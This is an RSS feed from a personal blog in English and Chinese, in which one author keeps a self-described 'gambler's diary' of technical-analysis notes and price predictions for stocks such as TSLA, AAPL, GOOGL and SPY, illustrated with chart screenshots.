<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Memoryicecube's Blog]]></title><description><![CDATA[Welcome to my study blog 🐕🐕🐕]]></description><link>https://memoryicecube.com/</link><image><url>https://memoryicecube.com/favicon.png</url><title>Memoryicecube&apos;s Blog</title><link>https://memoryicecube.com/</link></image><generator>Ghost 5.80</generator><lastBuildDate>Thu, 12 Jun 2025 06:11:26 GMT</lastBuildDate><atom:link href="https://memoryicecube.com/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[June 10 gambler's prediction]]></title><description><![CDATA[<p>TSLA:</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/06/Screenshot-2025-06-10-at-19.11.44.png" class="kg-image" alt loading="lazy" width="2000" height="1006" srcset="https://memoryicecube.com/content/images/size/w600/2025/06/Screenshot-2025-06-10-at-19.11.44.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/06/Screenshot-2025-06-10-at-19.11.44.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/06/Screenshot-2025-06-10-at-19.11.44.png 1600w, https://memoryicecube.com/content/images/size/w2400/2025/06/Screenshot-2025-06-10-at-19.11.44.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>In the 3D chart, we can see the 3D candle test 20 EMA and be supported. It shows a 2-2 reversal as it is a support zone regarding to both key support zone(the grey area) and the 20 EMA for 3 day chart. </p><p>As we shift our attention</p>]]></description><link>https://memoryicecube.com/june-10-gamblers-prediction/</link><guid isPermaLink="false">6848e5e5caf22a0001892238</guid><dc:creator><![CDATA[Jialin Yu]]></dc:creator><pubDate>Wed, 11 Jun 2025 02:24:43 GMT</pubDate><content:encoded><![CDATA[<p>TSLA:</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/06/Screenshot-2025-06-10-at-19.11.44.png" class="kg-image" alt loading="lazy" width="2000" height="1006" srcset="https://memoryicecube.com/content/images/size/w600/2025/06/Screenshot-2025-06-10-at-19.11.44.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/06/Screenshot-2025-06-10-at-19.11.44.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/06/Screenshot-2025-06-10-at-19.11.44.png 1600w, https://memoryicecube.com/content/images/size/w2400/2025/06/Screenshot-2025-06-10-at-19.11.44.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>In the 3D chart, we can see the 3D candle test 20 EMA and be supported. It shows a 2-2 reversal as it is a support zone regarding to both key support zone(the grey area) and the 20 EMA for 3 day chart. </p><p>As we shift our attention to the daily chart, we can see a 2-1-3 reverse pattern form at the key support zone. And the first target has been hit. While I missed it, realize the daily candle cross 20 EMA on daily chart which is a bullish sign, we can set our target to next resistance zone which is around 360.</p><p>AAPL:</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/06/Screenshot-2025-06-10-at-19.18.38.png" class="kg-image" alt loading="lazy" width="2000" height="1029" srcset="https://memoryicecube.com/content/images/size/w600/2025/06/Screenshot-2025-06-10-at-19.18.38.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/06/Screenshot-2025-06-10-at-19.18.38.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/06/Screenshot-2025-06-10-at-19.18.38.png 1600w, https://memoryicecube.com/content/images/size/w2400/2025/06/Screenshot-2025-06-10-at-19.18.38.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>The RSI for aapl seems to be bullish but the uptrend is relatively flat. We can even spot the aapl stock market is mostly ranging and act like a symmetric triangle with a doji at the top. The 1w chart show candle below bolinger band mid-line, it is a 2-1-2 reverse pattern. So far so good, but! the current red candle break the 2U bar&apos;s low, it will either be a 2D candle or a 3 candle. Which is not a desired setup. </p><p>Look at the daily chart, the aVWAP act as a support. But no clear trend is given. uptrend for daily rsi is break so this should wait for clear reverse signal. </p><p>GOOGL</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/06/Screenshot-2025-06-10-at-19.36.19.png" class="kg-image" alt loading="lazy" width="1688" height="1408" srcset="https://memoryicecube.com/content/images/size/w600/2025/06/Screenshot-2025-06-10-at-19.36.19.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/06/Screenshot-2025-06-10-at-19.36.19.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/06/Screenshot-2025-06-10-at-19.36.19.png 1600w, https://memoryicecube.com/content/images/2025/06/Screenshot-2025-06-10-at-19.36.19.png 1688w" sizes="(min-width: 720px) 720px"></figure><p>First we look at GOOGL weekly chart. There is an interesting phenomenon here, we spot a 2U-1-2D right at the Bollinger Band mid-line. While normal 2-1-2 with the last 2 bar break the 1 bar&apos;s low should be a reverse patter, here it is just a continuation pattern. The reasons behind this might be:</p><ol><li>The 20 daily EMA might not be a resist zone, we should only consider the the key support/resistance zone. </li><li>The oscillator are not in the overbought zone, so this should not be a reverse pattern. (This might be wrong as reverse pattern reach key resistance as TSLA which oscillator does not show oversold is reversed.)</li><li>Or it is being resisted by the 0.5 line but is supported by the EMA line, so we should always wait for confirmation.</li></ol><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/06/Screenshot-2025-06-10-at-19.45.28.png" class="kg-image" alt loading="lazy" width="1570" height="746" srcset="https://memoryicecube.com/content/images/size/w600/2025/06/Screenshot-2025-06-10-at-19.45.28.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/06/Screenshot-2025-06-10-at-19.45.28.png 1000w, https://memoryicecube.com/content/images/2025/06/Screenshot-2025-06-10-at-19.45.28.png 1570w" sizes="(min-width: 720px) 720px"></figure><p>The daily chart show a bullish setup, but one warning sign is that it broke the bollinger band&apos;s high, so we should expect either the price will go down or it will range for a while. The dark green line is the 61.8% line, we should expect the price to hit it and reverse back to the 0.5 line and go back up again. So we should wait on googl to act.</p><p>VST:</p>]]></content:encoded></item><item><title><![CDATA[June 9th Gambler Dairy]]></title><description><![CDATA[<p>META:</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/06/Screenshot-2025-06-09-at-13.34.11.png" class="kg-image" alt loading="lazy" width="1034" height="750" srcset="https://memoryicecube.com/content/images/size/w600/2025/06/Screenshot-2025-06-09-at-13.34.11.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/06/Screenshot-2025-06-09-at-13.34.11.png 1000w, https://memoryicecube.com/content/images/2025/06/Screenshot-2025-06-09-at-13.34.11.png 1034w" sizes="(min-width: 720px) 720px"></figure><p>In the morning, there is a huge profit entry point which is the low of second bar (a 1 bar), which followed by a 2D bar. The first target is set to the first 3U bar&apos;s low. Then, a 2D-1-2D bearish continuation confirm the bearish trend, so</p>]]></description><link>https://memoryicecube.com/june-9th-gambler-dairy/</link><guid isPermaLink="false">68474524caf22a000189221a</guid><dc:creator><![CDATA[Jialin Yu]]></dc:creator><pubDate>Mon, 09 Jun 2025 20:42:12 GMT</pubDate><content:encoded><![CDATA[<p>META:</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/06/Screenshot-2025-06-09-at-13.34.11.png" class="kg-image" alt loading="lazy" width="1034" height="750" srcset="https://memoryicecube.com/content/images/size/w600/2025/06/Screenshot-2025-06-09-at-13.34.11.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/06/Screenshot-2025-06-09-at-13.34.11.png 1000w, https://memoryicecube.com/content/images/2025/06/Screenshot-2025-06-09-at-13.34.11.png 1034w" sizes="(min-width: 720px) 720px"></figure><p>In the morning, there is a huge profit entry point which is the low of second bar (a 1 bar), which followed by a 2D bar. The first target is set to the first 3U bar&apos;s low. Then, a 2D-1-2D bearish continuation confirm the bearish trend, so we should ignore the ranging there after. For today, I called META at the 6-8th bar which is a 2D-2u-3U, I mis-recognized it as a 2-2 reversal from bearish to bullish, and miss the 2U turned into a 3U. So I should open a short trade instead of a long one. Lost a lot of money here.</p>]]></content:encoded></item><item><title><![CDATA[Jun 6 gamble dairy]]></title><description><![CDATA[<p>AAPL:</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/06/Screenshot-2025-06-06-at-20.14.37.png" class="kg-image" alt loading="lazy" width="676" height="588" srcset="https://memoryicecube.com/content/images/size/w600/2025/06/Screenshot-2025-06-06-at-20.14.37.png 600w, https://memoryicecube.com/content/images/2025/06/Screenshot-2025-06-06-at-20.14.37.png 676w"></figure><p>In the 15 minute chart, the first three k form a 2-1-2 reversal, and the target should be set to 202.99. so we should continue to hold that</p><p>TSLA 15 minutes chart:</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/06/Screenshot-2025-06-06-at-21.34.37.png" class="kg-image" alt loading="lazy" width="774" height="442" srcset="https://memoryicecube.com/content/images/size/w600/2025/06/Screenshot-2025-06-06-at-21.34.37.png 600w, https://memoryicecube.com/content/images/2025/06/Screenshot-2025-06-06-at-21.34.37.png 774w" sizes="(min-width: 720px) 720px"></figure><p>The middle 1-2-2 reversal pattern is invalid as it is in a ranging period. The reversal</p>]]></description><link>https://memoryicecube.com/untitled-2/</link><guid isPermaLink="false">6843aff8caf22a0001892207</guid><dc:creator><![CDATA[Jialin Yu]]></dc:creator><pubDate>Mon, 09 Jun 2025 20:33:18 GMT</pubDate><content:encoded><![CDATA[<p>AAPL:</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/06/Screenshot-2025-06-06-at-20.14.37.png" class="kg-image" alt loading="lazy" width="676" height="588" srcset="https://memoryicecube.com/content/images/size/w600/2025/06/Screenshot-2025-06-06-at-20.14.37.png 600w, https://memoryicecube.com/content/images/2025/06/Screenshot-2025-06-06-at-20.14.37.png 676w"></figure><p>In the 15 minute chart, the first three k form a 2-1-2 reversal, and the target should be set to 202.99. so we should continue to hold that</p><p>TSLA 15 minutes chart:</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/06/Screenshot-2025-06-06-at-21.34.37.png" class="kg-image" alt loading="lazy" width="774" height="442" srcset="https://memoryicecube.com/content/images/size/w600/2025/06/Screenshot-2025-06-06-at-21.34.37.png 600w, https://memoryicecube.com/content/images/2025/06/Screenshot-2025-06-06-at-21.34.37.png 774w" sizes="(min-width: 720px) 720px"></figure><p>The middle 1-2-2 reversal pattern is invalid as it is in a ranging period. The reversal pattern should also be in a trend. The last hour run down is also formed a 1-2-2 reversal pattern.</p><p>AMZN 15 minutes:</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/06/Screenshot-2025-06-06-at-21.41.47.png" class="kg-image" alt loading="lazy" width="690" height="376" srcset="https://memoryicecube.com/content/images/size/w600/2025/06/Screenshot-2025-06-06-at-21.41.47.png 600w, https://memoryicecube.com/content/images/2025/06/Screenshot-2025-06-06-at-21.41.47.png 690w"></figure><p>Multiple entry is marked. And clear signal is given, multiple confirm has been provided.</p>]]></content:encoded></item><item><title><![CDATA[June 2-June 6 week prediction]]></title><description><![CDATA[<figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-31-at-10.43.45.png" class="kg-image" alt loading="lazy" width="2000" height="1091" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-31-at-10.43.45.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-31-at-10.43.45.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-31-at-10.43.45.png 1600w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-31-at-10.43.45.png 2000w" sizes="(min-width: 720px) 720px"></figure><p>Conclusion: TSLA might have short-term short next week, but the uptrend is still valid in the long-term. One of the most important level is 338.70, if reach, we are expecting 320.03. These level are base on the trend line and the fib level.</p><p>From the daily chart, MACD</p>]]></description><link>https://memoryicecube.com/june-2-june-6-week-prediction/</link><guid isPermaLink="false">683b3fe1caf22a00018921e8</guid><dc:creator><![CDATA[Jialin Yu]]></dc:creator><pubDate>Sat, 31 May 2025 18:12:30 GMT</pubDate><content:encoded><![CDATA[<figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-31-at-10.43.45.png" class="kg-image" alt loading="lazy" width="2000" height="1091" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-31-at-10.43.45.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-31-at-10.43.45.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-31-at-10.43.45.png 1600w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-31-at-10.43.45.png 2000w" sizes="(min-width: 720px) 720px"></figure><p>Conclusion: TSLA might have short-term short next week, but the uptrend is still valid in the long-term. One of the most important level is 338.70, if reach, we are expecting 320.03. These level are base on the trend line and the fib level.</p><p>From the daily chart, MACD has a dead cross upcoming, but there is a possibility MACD might pump up&#xFF0C;histogram shows uptrend weakness. </p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-31-at-10.44.28.png" class="kg-image" alt loading="lazy" width="1672" height="234" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-31-at-10.44.28.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-31-at-10.44.28.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-31-at-10.44.28.png 1600w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-31-at-10.44.28.png 1672w" sizes="(min-width: 720px) 720px"></figure><p>OBV break previous uptrend trendline.</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-31-at-10.47.56.png" class="kg-image" alt loading="lazy" width="1616" height="364" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-31-at-10.47.56.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-31-at-10.47.56.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-31-at-10.47.56.png 1600w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-31-at-10.47.56.png 1616w" sizes="(min-width: 720px) 720px"></figure><p>RSI have minor overbought signal, but it&apos;s already going down.</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-31-at-11.09.07.png" class="kg-image" alt loading="lazy" width="1610" height="304" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-31-at-11.09.07.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-31-at-11.09.07.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-31-at-11.09.07.png 1600w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-31-at-11.09.07.png 1610w" sizes="(min-width: 720px) 720px"></figure><p>Buy signal has occur long time ago, and there is a lower high, so probably this is a bearish signal.</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-31-at-11.09.57.png" class="kg-image" alt loading="lazy" width="1668" height="320" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-31-at-11.09.57.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-31-at-11.09.57.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-31-at-11.09.57.png 1600w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-31-at-11.09.57.png 1668w" sizes="(min-width: 720px) 720px"></figure><p>For KDJ, this is a even worse signal, lower high, while price keep rally up. Should started to sell.</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-31-at-11.11.07.png" class="kg-image" alt loading="lazy" width="1620" height="306" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-31-at-11.11.07.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-31-at-11.11.07.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-31-at-11.11.07.png 1600w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-31-at-11.11.07.png 1620w" sizes="(min-width: 720px) 720px"></figure>]]></content:encoded></item><item><title><![CDATA[May 23rd 赌狗日记]]></title><description><![CDATA[<figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-23-at-12.50.27.png" class="kg-image" alt loading="lazy" width="2000" height="1132" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-23-at-12.50.27.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-23-at-12.50.27.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-23-at-12.50.27.png 1600w, https://memoryicecube.com/content/images/size/w2400/2025/05/Screenshot-2025-05-23-at-12.50.27.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#x505A;&#x4E86;&#x4E00;&#x4E2A;swing&#x7684;&#x64CD;&#x4F5C;&#xFF0C;&#x4E00;&#x5206;&#x949F;&#x56FE;&#x53EF;&#x4EE5;&#x770B;&#x51FA;&#x6709;&#x4E00;&#x4E2A;&#x6536;&#x7F29;&#x4E09;&#x89D2;&#x66F4;&#x91CD;&#x8981;&#x7684;&#x662F;&#x65E9;&#x4E0A;&#x82B1;&#x4E86;&#x4E00;&#x6761;support&#xFF0C;&#x73B0;&#x5728;support&#x88AB;&#x7834;&#x4E86;&#x6240;&#x4EE5;&#x662F;&#x4E00;&#x4E2A;&#x5F88;bearish&</p>]]></description><link>https://memoryicecube.com/may-23rd-du-gou-ri-ji/</link><guid isPermaLink="false">6830d16002f5c50001fa5e04</guid><dc:creator><![CDATA[Jialin Yu]]></dc:creator><pubDate>Fri, 23 May 2025 23:24:56 GMT</pubDate><content:encoded><![CDATA[<figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-23-at-12.50.27.png" class="kg-image" alt loading="lazy" width="2000" height="1132" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-23-at-12.50.27.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-23-at-12.50.27.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-23-at-12.50.27.png 1600w, https://memoryicecube.com/content/images/size/w2400/2025/05/Screenshot-2025-05-23-at-12.50.27.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#x505A;&#x4E86;&#x4E00;&#x4E2A;swing&#x7684;&#x64CD;&#x4F5C;&#xFF0C;&#x4E00;&#x5206;&#x949F;&#x56FE;&#x53EF;&#x4EE5;&#x770B;&#x51FA;&#x6709;&#x4E00;&#x4E2A;&#x6536;&#x7F29;&#x4E09;&#x89D2;&#x66F4;&#x91CD;&#x8981;&#x7684;&#x662F;&#x65E9;&#x4E0A;&#x82B1;&#x4E86;&#x4E00;&#x6761;support&#xFF0C;&#x73B0;&#x5728;support&#x88AB;&#x7834;&#x4E86;&#x6240;&#x4EE5;&#x662F;&#x4E00;&#x4E2A;&#x5F88;bearish&#x7684;setup&#x3002;&#x4F46;&#x662F;&#x8FD9;&#x91CC;&#x4E94;&#x5206;&#x949F;&#x56FE;&#x548C;&#x5341;&#x4E94;&#x5206;&#x949F;&#x770B;&#x4E0D;&#x51FA;&#x662F;&#x4E00;&#x4E2A;&#x6536;&#x7F29;&#x4E09;&#x89D2;&#xFF0C;&#x6240;&#x4EE5;&#x8FD9;&#x91CC;&#x7834;&#x6389;&#x4E4B;&#x540E;&#x53CD;&#x800C;&#x6CBF;&#x7740;&#x4E0B;&#x964D;&#x8D8B;&#x52BF;&#x7684;resist&#x9707;&#x8361;&#x4E86;&#x5F88;&#x4E45;&#xFF0C;&#x5BFC;&#x81F4;&#x65F6;&#x95F4;&#x78E8;&#x635F;&#x975E;&#x5E38;&#x4E25;&#x91CD;&#x3002;&#x8FD9;&#x91CC;&#x4E0B;&#x9762;&#x7B2C;&#x4E00;&#x4E2A;&#x652F;&#x6491;&#x662F;&#x770B;&#x5230;&#x4E91;&#xFF0C;&#x6211;&#x5728;&#x5230;&#x8FBE;&#x4E91;&#x7684;&#x4E0A;&#x6CBF;&#x5C31;&#x79BB;&#x573A;&#x4E86;&#xFF0C;&#x5B9E;&#x9645;&#x4E0A;&#x5374;&#x8E29;&#x5230;&#x4E86;&#x4E0B;&#x9762;&#x7684;&#x4E0A;&#x5347;&#x652F;&#x6491;&#x7EBF;&#xFF0C;&#x5E76;&#x4E14;&#x53CD;&#x5F39;&#x56DE;resistance</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-23-at-16.20.12.png" class="kg-image" alt loading="lazy" width="1888" height="920" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-23-at-16.20.12.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-23-at-16.20.12.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-23-at-16.20.12.png 1600w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-23-at-16.20.12.png 1888w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-23-at-16.21.20.png" class="kg-image" alt loading="lazy" width="1182" height="734" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-23-at-16.21.20.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-23-at-16.21.20.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-23-at-16.21.20.png 1182w" sizes="(min-width: 720px) 720px"></figure><p>&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x4E4B;&#x540E;&#x4E94;&#x5206;&#x949F;&#x56FE;&#x5728;&#x8DCC;&#x7834;&#x4E86;&#x4E0B;&#x652F;&#x6491;&#x540E;&#x53C8;&#x7A81;&#x7834;&#x4E86;&#x4E0A;&#x963B;&#x529B;&#x3002;&#x4F46;&#x662F;&#x770B;15&#x5206;&#x949F;&#x56FE;&#x4E0D;&#x660E;&#x663E;&#x6240;&#x4EE5;&#x4E0D;&#x5E94;&#x8BE5;&#x6709;&#x4EFB;&#x4F55;&#x64CD;&#x4F5C;&#xFF0C;&#x6700;&#x540E;&#x5C3E;&#x76D8;&#x8DCC;&#x7834;&#x4E0B;&#x652F;&#x6491;&#x3002;&#x4F46;&#x672A;&#x8DCC;&#x7834;&#x6700;&#x4E0B;&#x9762;&#x90A3;&#x6761;&#x4E0A;&#x5347;&#x652F;&#x6491;&#x3002;</p><p>&#x4ECA;&#x5929;&#x9AD8;&#x70B9;&#x88AB;&#x9AD8;&#x70B9;aVWAP&#x5747;&#x7EBF;&#x538B;&#x7740;&#xFF0C;&#x8BF4;&#x660E;&#x7A7A;&#x5934;&#x4F9D;&#x65E7;&#x6709;&#x4F18;&#x52BF;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-23-at-16.25.40.png" class="kg-image" alt loading="lazy" width="2000" height="1266" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-23-at-16.25.40.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-23-at-16.25.40.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-23-at-16.25.40.png 1600w, https://memoryicecube.com/content/images/size/w2400/2025/05/Screenshot-2025-05-23-at-16.25.40.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>SPY&#x4ECA;&#x5929;&#x7684;&#x9AD8;&#x70B9;&#x53BB;&#x5230;&#x4E86;&#x6628;&#x65E5;&#x4F4E;&#x70B9;&#xFF0C;&#x8FD9;&#x4E2A;&#x70B9;&#x4E5F;&#x662F;&#x65E9;&#x76D8;breakdown&#x7684;&#x70B9;</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-23-at-16.49.19.png" class="kg-image" alt loading="lazy" width="1228" height="754" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-23-at-16.49.19.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-23-at-16.49.19.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-23-at-16.49.19.png 1228w" sizes="(min-width: 720px) 720px"></figure><p>&#x8FD9;&#x4E2A;&#x610F;&#x5473;&#x7740;&#x6628;&#x5929;&#x8FD9;&#x4E2A;&#x70B9;&#x662F;&#x591A;&#x5934;&#x7684;cost&#xFF0C;&#x4F46;&#x662F;&#x65E9;&#x76D8;&#x8DCC;&#x4E0B;&#x53BB;&#x4E86;&#x8BC1;&#x660E;&#x90A3;&#x4E4B;&#x540E;&#x591A;&#x5934;&#x90FD;&#x5728;&#x4E8F;&#x635F;&#xFF0C;&#x91CD;&#x65B0;&#x5230;&#x8FD9;&#x4E2A;&#x70B9;&#x4F4D;&#x4E4B;&#x540E;&#x5F88;&#x591A;&#x591A;&#x5934;&#x9009;&#x62E9;&#x6B62;&#x635F;&#x3002;&#x6240;&#x4EE5;&#x8FD9;&#x91CC;&#x662F;&#x4E00;&#x4E2A;&#x5F3A;&#x963B;&#x529B;&#x3002;</p>]]></content:encoded></item><item><title><![CDATA[Prediction for next week]]></title><description><![CDATA[<h3 id="nvda-bullish">NVDA:  BULLISH</h3><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-24-at-23.09.38.png" class="kg-image" alt loading="lazy" width="2000" height="1120" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-24-at-23.09.38.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-24-at-23.09.38.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-24-at-23.09.38.png 1600w, https://memoryicecube.com/content/images/size/w2400/2025/05/Screenshot-2025-05-24-at-23.09.38.png 2400w" sizes="(min-width: 720px) 720px"></figure><h3 id="aapl-%E5%9B%9E%E8%B8%A9resist-and-going-down">AAPL: &#x56DE;&#x8E29;resist and going down</h3><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-23-at-12.36.17.png" class="kg-image" alt loading="lazy" width="2000" height="1148" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-23-at-12.36.17.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-23-at-12.36.17.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-23-at-12.36.17.png 1600w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-23-at-12.36.17.png 2000w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">\</span></figcaption></figure><h3 id="spy-step-back-to-rising-wedge-and-then-break-down">SPY: step back to rising wedge and then break down</h3><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-23-at-12.37.25.png" class="kg-image" alt loading="lazy" width="2000" height="1148" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-23-at-12.37.25.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-23-at-12.37.25.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-23-at-12.37.25.png 1600w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-23-at-12.37.25.png 2000w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-23-at-12.45.50.png" class="kg-image" alt loading="lazy" width="1402" height="264" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-23-at-12.45.50.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-23-at-12.45.50.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-23-at-12.45.50.png 1402w" sizes="(min-width: 720px) 720px"></figure><p>&#x56E0;&#x4E3A;&#x76EE;&#x524D;hedge&#x7684;long&#x8FD8;&#x6CA1;&#x6709;&#x51CF;&#x4ED3;&#x5B8C;&#xFF0C;short&#x4E5F;&#x6CA1;&#x5EFA;&#x8D77;&#x6765;</p>]]></description><link>https://memoryicecube.com/prediction-for-next-week/</link><guid isPermaLink="false">6830cd9f02f5c50001fa5df3</guid><dc:creator><![CDATA[Jialin Yu]]></dc:creator><pubDate>Fri, 23 May 2025 19:42:56 GMT</pubDate><content:encoded><![CDATA[<h3 id="nvda-bullish">NVDA:  BULLISH</h3><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-24-at-23.09.38.png" class="kg-image" alt loading="lazy" width="2000" height="1120" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-24-at-23.09.38.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-24-at-23.09.38.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-24-at-23.09.38.png 1600w, 